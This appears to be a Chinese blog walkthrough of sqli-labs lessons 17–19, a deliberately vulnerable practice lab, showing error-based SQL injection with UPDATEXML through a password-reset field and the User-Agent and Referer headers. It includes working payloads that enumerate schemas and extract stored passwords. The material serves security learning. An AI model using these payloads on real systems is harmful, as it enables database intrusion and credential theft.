zoukankan      html  css  js  c++  java
  • sql-lib闯关之lesson17-19

    闯关前的知识铺垫

    参考链接:

    https://www.jb51.net/article/125599.htm

    https://www.jb51.net/article/125607.htm


    UPDATEXML(XML document,XPath string,new value);
    第一个参数:XML document 是String 格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath string(Xpath格式的字符串),如果不了解Xpath语法,可以网上查找。
    第三个参数:new value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值。
    改变XML document中符合XPATH string的值
    而我们的注入语句为:
    select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
    其中concat()函数是将其连接成一个字符串,因此不会复合XPATH string的格式,从而出现格式错误,报出
    ERROR 1105(HY000):XPATH syntax error:‘~Dumb~’


    LESS17

    我们在17关的源码中加入以下代码。

     加入这两行是为了便于观察,在执行操作后,显示源码
    我们进入17关观察以下

     这次是密码重置了,也就是修改密码。
    同样我们通过burp抓到post的数据包

     uname=admin&passwd=adimin&submit=Submit


     代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入。

    首先我们要知道用户的名字(前提)然后才可以接着进行下面的操作,即在password处进行sql注入。
    通过上面补充的知识。我们来构造sql注入语句。
    select updatexml(1,concat(0x7e,(构造语句)),1);
    select updatexml(1,concat(0x7e,(构造语句),0x7e),1);   跟上面就是多了个~而已 也就是0x7e
    构造语句中填写的就是老生常谈的查库查表查列查字段了,但是要注意在最后面加上 limit0,1 

    查找当前所在数据库:
    输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit

     查库
    输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)#&submit=Submit


    查表
    输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit
    查列
    输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

    查字段
    输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)#&submit=Submit

     这样输入竟然错误了,提示我们 你不能在FROM句子中为update 指定目标表 users
    网上查一下结局方法
    输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit

     应该是不可以直接查询security.users 要select 查security 才可以,用两个选择(select)

    LESS18

     刚刚进入18关,通过我们常用的admin 登录,竟然登录失败了,原来是我们在17关把admin的密码更改了,所以登录不上去。我们可以在首页点击第二个,重置数据库,就可以了。


     再次登录我们发现登录成功了

    通过观察这两次,不难发现

    登陆成功:显示ip地址和浏览器版本信息

    登陆失败:只显示ip地址

    这次我们依旧尝试在密码和账户名后加上 ‘ #,我们发现这次都进行了转意,所以就不能使用sql注入了

     18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

    注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

    抓包之后右键发送到Repeater:

      然后在数据包的headers部分修改user-agent构造注入语句:

      查当前数据库:'or updatexml(1,concat(0x7e,(database())),1) or '1'='1(注意闭合)

     或者'or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句
    后面的和上一关相同,可以参考。


    LESS19


     这一关和上一关类似, 登录成功的返回信息变为

    Your Referer is: http://localhost/sqli-labs-master/Less-19/




    抓包:' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)# 

     

  • 相关阅读:
    java
    java
    java
    java
    java
    java
    java
    java
    sed命令的用法
    linux系统产生随机数的6种方法
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12398298.html
Copyright © 2011-2022 走看看